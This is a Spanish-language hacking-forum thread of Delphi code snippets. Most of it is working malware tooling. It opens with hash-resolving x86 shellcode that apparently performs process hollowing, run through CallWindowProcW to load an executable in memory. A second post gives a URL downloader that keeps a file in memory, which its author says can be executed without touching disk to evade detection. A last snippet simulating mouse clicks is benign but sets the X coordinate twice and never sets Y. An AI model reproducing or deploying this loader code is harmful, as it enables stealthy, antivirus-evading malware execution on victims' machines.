    $E8, $47, $02, $00, $00, $8B, $D1, $6A, $22, $E8, $3E, $02, $00, $00, $8B, $39, $6A, $3E, $E8, $35, $02, $00, $00, $8B, $31, $6A, $22, $E8, $2C, $02, $00, $00, $8B, $01, $6A, $2E, $E8, $23, $02,
    $00, $00, $8B, $09, $52, $FF, $77, $54, $56, $FF, $70, $34, $FF, $31, $6A, $00, $E8, $10, $02, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $3C, $02, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $12,
    $E8, $F9, $01, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $25, $02, $00, $00, $6A, $22, $E8, $E7, $01, $00, $00, $8B, $11, $83, $C2, $06, $6A, $3A, $E8, $DB, $01, $00, $00, $6A, $02, $52, $51,
    $FF, $D0, $6A, $36, $E8, $CE, $01, $00, $00, $C7, $01, $00, $00, $00, $00, $B8, $28, $00, $00, $00, $6A, $36, $E8, $BC, $01, $00, $00, $F7, $21, $6A, $1E, $E8, $B3, $01, $00, $00, $8B, $11, $8B,
    $52, $3C, $81, $C2, $F8, $00, $00, $00, $03, $D0, $6A, $3E, $E8, $9F, $01, $00, $00, $03, $11, $6A, $26, $E8, $96, $01, $00, $00, $6A, $28, $52, $FF, $31, $6A, $12, $E8, $8A, $01, $00, $00, $68,
    $5B, $E8, $14, $CF, $51, $E8, $B6, $01, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $26, $E8, $73, $01, $00, $00, $8B, $39, $8B, $09, $8B, $71, $14, $6A, $3E, $E8, $65, $01, $00, $00, $03, $31, $6A,
    $26, $E8, $5C, $01, $00, $00, $8B, $09, $8B, $51, $0C, $6A, $22, $E8, $50, $01, $00, $00, $8B, $09, $03, $51, $34, $6A, $46, $E8, $44, $01, $00, $00, $8B, $C1, $6A, $2E, $E8, $3B, $01, $00, $00,
    $8B, $09, $50, $FF, $77, $10, $56, $52, $FF, $31, $6A, $00, $E8, $2A, $01, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $56, $01, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $36, $E8, $13, $01, $00,
    $00, $8B, $11, $83, $C2, $01, $89, $11, $6A, $3A, $E8, $05, $01, $00, $00, $8B, $09, $3B, $CA, $0F, $85, $33, $FF, $FF, $FF, $6A, $32, $E8, $F4, $00, $00, $00, $8B, $09, $C7, $01, $07, $00, $01,
    $00, $6A, $00, $E8, $E5, $00, $00, $00, $68, $D2, $C7, $A7, $68, $51, $E8, $11, $01, $00, $00, $6A, $32, $E8, $D3, $00, $00, $00, $8B, $11, $6A, $2E, $E8, $CA, $00, $00, $00, $8B, $09, $52, $FF,
    $71, $04, $FF, $D0, $6A, $22, $E8, $BB, $00, $00, $00, $8B, $39, $83, $C7, $34, $6A, $32, $E8, $AF, $00, $00, $00, $8B, $31, $8B, $B6, $A4, $00, $00, $00, $83, $C6, $08, $6A, $2E, $E8, $9D, $00,
    $00, $00, $8B, $11, $6A, $46, $E8, $94, $00, $00, $00, $51, $6A, $04, $57, $56, $FF, $32, $6A, $00, $E8, $86, $00, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $B2, $00, $00, $00, $83, $C4, $0C,
    $FF, $D0, $6A, $22, $E8, $6F, $00, $00, $00, $8B, $09, $8B, $51, $28, $03, $51, $34, $6A, $32, $E8, $60, $00, $00, $00, $8B, $09, $81, $C1, $B0, $00, $00, $00, $89, $11, $6A, $00, $E8, $4F, $00,
    $00, $00, $68, $D3, $C7, $A7, $E8, $51, $E8, $7B, $00, $00, $00, $6A, $32, $E8, $3D, $00, $00, $00, $8B, $D1, $6A, $2E, $E8, $34, $00, $00, $00, $8B, $09, $FF, $32, $FF, $71, $04, $FF, $D0, $6A,
    $00, $E8, $24, $00, $00, $00, $68, $88, $3F, $4A, $9E, $51, $E8, $50, $00, $00, $00, $6A, $2E, $E8, $12, $00, $00, $00, $8B, $09, $FF, $71, $04, $FF, $D0, $6A, $4A, $E8, $04, $00, $00, $00, $8B,
    $21, $61, $C3, $8B, $CB, $03, $4C, $24, $04, $C3, $6A, $00, $E8, $F2, $FF, $FF, $FF, $68, $54, $CA, $AF, $91, $51, $E8, $1E, $00, $00, $00, $6A, $40, $68, $00, $10, $00, $00, $FF, $74, $24, $18,
    $6A, $00, $FF, $D0, $FF, $74, $24, $14, $E8, $CF, $FF, $FF, $FF, $89, $01, $83, $C4, $10, $C3, $E8, $22, $00, $00, $00, $68, $A4, $4E, $0E, $EC, $50, $E8, $4B, $00, $00, $00, $83, $C4, $08, $FF,
    $74, $24, $04, $FF, $D0, $FF, $74, $24, $08, $50, $E8, $38, $00, $00, $00, $83, $C4, $08, $C3, $55, $52, $51, $53, $56, $57, $33, $C0, $64, $8B, $70, $30, $8B, $76, $0C, $8B, $76, $1C, $8B, $6E,
    $08, $8B, $7E, $20, $8B, $36, $38, $47, $18, $75, $F3, $80, $3F, $6B, $74, $07, $80, $3F, $4B, $74, $02, $EB, $E7, $8B, $C5, $5F, $5E, $5B, $59, $5A, $5D, $C3, $55, $52, $51, $53, $56, $57, $8B,
    $6C, $24, $1C, $85, $ED, $74, $43, $8B, $45, $3C, $8B, $54, $28, $78, $03, $D5, $8B, $4A, $18, $8B, $5A, $20, $03, $DD, $E3, $30, $49, $8B, $34, $8B, $03, $F5, $33, $FF, $33, $C0, $FC, $AC, $84,
    $C0, $74, $07, $C1, $CF, $0D, $03, $F8, $EB, $F4, $3B, $7C, $24, $20, $75, $E1, $8B, $5A, $24, $03, $DD, $66, $8B, $0C, $4B, $8B, $5A, $1C, $03, $DD, $8B, $04, $8B, $03, $C5, $5F, $5E, $5B, $59,
    $5A, $5D, $C3, $C3, $00, $00, $00, $00);
 
 
//Funcion para leer un archivo binario y guardarlo dentro de una cadena
Function mFileToStr(Ruta: string): string;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(Ruta), OF_READ);
uBytes:= GetFileSize(sFile, nil);
SetLength(Result, uBytes);
_lread(sfile, @result[1], uBytes);
_lclose(sFile);
end;
 
var
buffer:string;
szFilePath:array[1..1024]of widechar;
 
begin
  buffer:=mFileToStr('C:\bcb6kg.EXE'); //Leemos el fichero que queremos usar
  GetModuleFileNameW(0,@szFilePath[1],1024); //GetModuleFileNameW equivalente al paramstr(0) pero unicode
  writeln(pwidechar(widestring(szFilePath))); //mostramos la direccion actual del proyecto principal
 
  //el problema de llamado consistia en que el path tenia que ser unicode y yo lo manejaba como si fuera ascii
  CallWindowProcW(@shell[0],hwnd(@szFilePath[1]),cardinal(@buffer[1]),0,0);//ejecutamos el shellcode
  readln;
end.

Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 20 Febrero 2016, 02:22 am

Funcion downloadFileBuffer

Hola despues de lo comentado en el foro hermano indetectables.net sobre la funcion URLOpenBlockingStream he decicido hacer mi implementacion en Delphi
bueno esta funcion lo que hace es descargar un fichero pero en vez de escribirlo en disco lo guarda en un buffer en memoria.

Bueno el uso que le demos puede ser variado ya que si queremos podemos escribir el contenido de ese buffer o ejecutarlo en memoria sin que toque disco.
el ejemplo viene con un simple ejemplo, me imagino que el va usar este ejemplo ya sabe como ejecutar un fichero en memoria o crear un nuevo fichero a travez de el
si tienen dudas sobre algo me avisan.

Código

uses
  SysUtils,ActiveX,URLMon;
 
type
 TBuffer=Array of Byte;
 
Function downloadFileBuffer(const URL:String):TBuffer;
var
stream:IStream;
sizeFile,sizeSet,bytesWritten:Int64;
buffer:TBuffer;
begin
 Result:=nil;
 if URLOpenBlockingStream (nil,pchar(URL),stream,0,nil)=S_OK then
 begin
     stream.Seek(0,STREAM_SEEK_END,sizeFile);
     SetLength(buffer,sizeFile);
     stream.Seek(0,STREAM_SEEK_SET,sizeSet);
     stream.Read(@buffer[0],sizeFile,@bytesWritten);
     Result:=buffer;
 end;
end;
 
var
url:String;
buffer:TBuffer;
begin
  url:='http://i67.tinypic.com/2v8lv88.png';
  buffer:=downloadFileBuffer(url);
 
  if buffer<>nil then
     Writeln('Tamano del fichero leido ',Length(buffer))
  else
     Writeln('Hubo un error ');
 
  Readln;
end.

El codigo ha sido probado en delphi 7

Saludos....

Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 25 Marzo 2016, 18:39 pm

[simulateClick] Funcion que simula el dar un click con el raton usando la api de windows y la version de delphi 2010

Código

uses
  SysUtils,windows;
 
//Simula el click del raton
//parametros
//integer x,y: coordeandas donde queremos hacer click
//Result: retornar cuantos eveentos fueron ejectuados en este caso 2
function simulateClick(const x,y:Integer):Integer;
var
point:TPoint;
input:array[0..1]of TInput;
begin
   GetCursorPos(point);   //gurdamos coordenadas actuales
   SetCursorPos(x,y);     //colocamos el puntero en la posicion seleccionada
   ZeroMemory(@input,sizeof(input)); //rellenamos de ceros el arreglo de TInput
 
   //configuramos el evento para oprimir con el boton izquierdo del raton
   input[0].Itype:=INPUT_MOUSE;
   input[0].mi.dx:=x;
   input[0].mi.dx:=y;
   input[0].mi.dwFlags:=MOUSEEVENTF_LEFTDOWN;
 
   //configuramos el evento para soltar el mouse con  el boton izquierdo del raton
   input[1].Itype:=INPUT_MOUSE;
   input[1].mi.dx:=x;
   input[1].mi.dx:=y;
   input[1].mi.dwFlags:=MOUSEEVENTF_LEFTUP;
 
   //Ejecutamos los dos eventos anteriores
   Result:=SendInput(2,tagInput(input[0]),sizeof(TInput));
   //Restauramos las coordenadas originales(simula que no se movio el raton)
   SetCursorPos(point.X,point.Y);
end;
 
 
//Imprime la posicion X y Y actual del cursor
//conveniente usarlo dentro de un while inifito para saber las coordenadas
//al momento de mover el raton
procedure printPosition;
var point:TPoint;
begin
   GetCursorPos(point);
   Writeln(point.X,' x ',point.Y);
end;
//Main del programa
begin
   simulateClick(20,882);
   Writeln('Click simulado');
end.

Foro de elhacker.net

Programación => Programación General => Mensaje iniciado por: crack81 en 5 Julio 2015, 20:05 pm